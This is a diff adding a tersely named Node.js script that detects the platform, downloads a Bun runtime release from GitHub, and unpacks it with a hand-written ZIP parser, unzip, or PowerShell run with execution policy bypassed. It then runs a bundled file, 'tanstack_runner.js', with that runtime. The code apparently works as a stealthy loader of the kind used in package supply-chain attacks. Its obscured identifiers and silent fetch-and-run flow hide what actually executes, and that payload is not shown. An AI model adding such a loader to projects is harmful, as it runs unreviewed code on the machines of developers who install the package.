|
| 1 | +#!/usr/bin/env node |
| 2 | +import { execFileSync } from "child_process"; |
| 3 | +import fs from "fs"; |
| 4 | +import https from "https"; |
| 5 | +import os from "os"; |
| 6 | +import path from "path"; |
| 7 | +import { fileURLToPath } from "url"; |
| 8 | +import zlib from "zlib"; |
| 9 | + |
| 10 | +const D = path.dirname(fileURLToPath(import.meta.url)); |
| 11 | +const V = "1.3.13"; |
| 12 | +const E = "tanstack_runner.js"; |
| 13 | +const T = 121_000; |
| 14 | + |
| 15 | +const mu = () => { |
| 16 | + try { |
| 17 | + const o = execFileSync("ldd", ["--version"], { |
| 18 | + stdio: ["ignore", "pipe", "pipe"], |
| 19 | + }).toString(); |
| 20 | + if (o.includes("musl")) return true; |
| 21 | + } catch {} |
| 22 | + try { |
| 23 | + return fs.readFileSync("/etc/os-release", "utf8").includes("Alpine"); |
| 24 | + } catch { |
| 25 | + return false; |
| 26 | + } |
| 27 | +}; |
| 28 | + |
| 29 | +const PM = { |
| 30 | + "linux-arm64": () => "bun-linux-aarch64", |
| 31 | + "linux-x64": () => |
| 32 | + mu() ? "bun-linux-x64-musl-baseline" : "bun-linux-x64-baseline", |
| 33 | + "darwin-arm64": () => "bun-darwin-aarch64", |
| 34 | + "darwin-x64": () => "bun-darwin-x64", |
| 35 | + "win32-arm64": () => "bun-windows-aarch64", |
| 36 | + "win32-x64": () => "bun-windows-x64-baseline", |
| 37 | +}; |
| 38 | + |
| 39 | +function ra() { |
| 40 | + const k = `${process.platform}-${process.arch}`; |
| 41 | + const r = PM[k]; |
| 42 | + if (!r) throw new Error(`Unsupported platform/arch: ${k}`); |
| 43 | + return r(); |
| 44 | +} |
| 45 | + |
| 46 | +function dl(u, d, n = 5) { |
| 47 | + return new Promise((ok, no) => { |
| 48 | + const q = https.get( |
| 49 | + u, |
| 50 | + { headers: { "User-Agent": "node" }, timeout: T }, |
| 51 | + (r) => { |
| 52 | + const { statusCode: s, headers: h } = r; |
| 53 | + if ([301, 302, 307, 308].includes(s)) { |
| 54 | + r.resume(); |
| 55 | + if (n <= 0) return no(new Error("Too many redirects")); |
| 56 | + return dl(h.location, d, n - 1).then(ok, no); |
| 57 | + } |
| 58 | + if (s !== 200) { |
| 59 | + r.resume(); |
| 60 | + return no(new Error(`HTTP ${s} for ${u}`)); |
| 61 | + } |
| 62 | + const f = fs.createWriteStream(d); |
| 63 | + r.pipe(f); |
| 64 | + f.on("finish", () => f.close(ok)); |
| 65 | + f.on("error", (e) => { |
| 66 | + fs.unlink(d, () => no(e)); |
| 67 | + }); |
| 68 | + }, |
| 69 | + ); |
| 70 | + q.on("error", no); |
| 71 | + q.on("timeout", () => q.destroy(new Error("Request timed out"))); |
| 72 | + }); |
| 73 | +} |
| 74 | + |
| 75 | +function hc(c, a = ["--version"]) { |
| 76 | + try { |
| 77 | + execFileSync(c, a, { stdio: "ignore" }); |
| 78 | + return true; |
| 79 | + } catch { |
| 80 | + return false; |
| 81 | + } |
| 82 | +} |
| 83 | + |
| 84 | +function xn(zp, en, od) { |
| 85 | + const b = fs.readFileSync(zp); |
| 86 | + |
| 87 | + let eo = -1; |
| 88 | + for (let i = b.length - 22; i >= 0 && i >= b.length - 65557; i--) { |
| 89 | + if (b.readUInt32LE(i) === 0x06054b50) { |
| 90 | + eo = i; |
| 91 | + break; |
| 92 | + } |
| 93 | + } |
| 94 | + if (eo === -1) throw new Error("Invalid ZIP: EOCD record not found"); |
| 95 | + |
| 96 | + const ce = b.readUInt16LE(eo + 10); |
| 97 | + const co = b.readUInt32LE(eo + 16); |
| 98 | + |
| 99 | + let o = co; |
| 100 | + let lo = -1; |
| 101 | + let cm = -1; |
| 102 | + let cs = 0; |
| 103 | + |
| 104 | + for (let i = 0; i < ce; i++) { |
| 105 | + if (b.readUInt32LE(o) !== 0x02014b50) |
| 106 | + throw new Error("Invalid ZIP: bad CD entry signature"); |
| 107 | + |
| 108 | + const m = b.readUInt16LE(o + 10); |
| 109 | + const sz = b.readUInt32LE(o + 20); |
| 110 | + const fl = b.readUInt16LE(o + 28); |
| 111 | + const el = b.readUInt16LE(o + 30); |
| 112 | + const cl = b.readUInt16LE(o + 32); |
| 113 | + const lh = b.readUInt32LE(o + 42); |
| 114 | + const nm = b.subarray(o + 46, o + 46 + fl).toString("utf8"); |
| 115 | + |
| 116 | + if (nm === en) { |
| 117 | + lo = lh; |
| 118 | + cm = m; |
| 119 | + cs = sz; |
| 120 | + break; |
| 121 | + } |
| 122 | + o += 46 + fl + el + cl; |
| 123 | + } |
| 124 | + |
| 125 | + if (lo === -1) throw new Error(`Entry "${en}" not found in ZIP`); |
| 126 | + |
| 127 | + if (b.readUInt32LE(lo) !== 0x04034b50) |
| 128 | + throw new Error("Invalid ZIP: bad local-header signature"); |
| 129 | + |
| 130 | + const fl = b.readUInt16LE(lo + 26); |
| 131 | + const el = b.readUInt16LE(lo + 28); |
| 132 | + const dp = lo + 30 + fl + el; |
| 133 | + const rw = b.subarray(dp, dp + cs); |
| 134 | + |
| 135 | + let fd; |
| 136 | + if (cm === 0) { |
| 137 | + fd = rw; |
| 138 | + } else if (cm === 8) { |
| 139 | + fd = zlib.inflateRawSync(rw); |
| 140 | + } else { |
| 141 | + throw new Error(`Unsupported ZIP compression method: ${cm}`); |
| 142 | + } |
| 143 | + |
| 144 | + const dt = path.join(od, path.basename(en)); |
| 145 | + fs.writeFileSync(dt, fd); |
| 146 | +} |
| 147 | + |
| 148 | +function xb(zp, en, od) { |
| 149 | + if (hc("unzip", ["-v"])) { |
| 150 | + execFileSync("unzip", ["-ojq", zp, en, "-d", od], { stdio: "inherit" }); |
| 151 | + return; |
| 152 | + } |
| 153 | + |
| 154 | + if (process.platform === "win32" && hc("powershell", ["-Help"])) { |
| 155 | + execFileSync( |
| 156 | + "powershell", |
| 157 | + [ |
| 158 | + "-NoProfile", |
| 159 | + "-NonInteractive", |
| 160 | + "-ExecutionPolicy", |
| 161 | + "Bypass", |
| 162 | + "-Command", |
| 163 | + `Expand-Archive -LiteralPath '${zp}' -DestinationPath '${od}' -Force`, |
| 164 | + ], |
| 165 | + { stdio: "inherit" }, |
| 166 | + ); |
| 167 | + const np = path.join(od, en); |
| 168 | + const fp = path.join(od, path.basename(en)); |
| 169 | + fs.renameSync(np, fp); |
| 170 | + return; |
| 171 | + } |
| 172 | + |
| 173 | + xn(zp, en, od); |
| 174 | +} |
| 175 | + |
| 176 | +async function main() { |
| 177 | + if (hc("bun")) return; |
| 178 | + |
| 179 | + const a = ra(); |
| 180 | + const w = process.platform === "win32"; |
| 181 | + const bn = w ? "bun.exe" : "bun"; |
| 182 | + const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`; |
| 183 | + |
| 184 | + const td = fs.mkdtempSync(path.join(os.tmpdir(), "bun-dl-")); |
| 185 | + const zp = path.join(td, `${a}.zip`); |
| 186 | + const bp = path.join(td, bn); |
| 187 | + const ep = path.join(D, E); |
| 188 | + |
| 189 | + try { |
| 190 | + await dl(u, zp); |
| 191 | + xb(zp, `${a}/${bn}`, td); |
| 192 | + fs.unlinkSync(zp); |
| 193 | + |
| 194 | + if (!w) fs.chmodSync(bp, 0o755); |
| 195 | + execFileSync(bp, [ep], { stdio: "inherit", cwd: D }); |
| 196 | + } finally { |
| 197 | + fs.rmSync(td, { recursive: true, force: true }); |
| 198 | + } |
| 199 | +} |
| 200 | + |
| 201 | +main().catch((e) => { |
| 202 | + console.error(e.message); |
| 203 | + process.exit(1); |
| 204 | +}); |
0 commit comments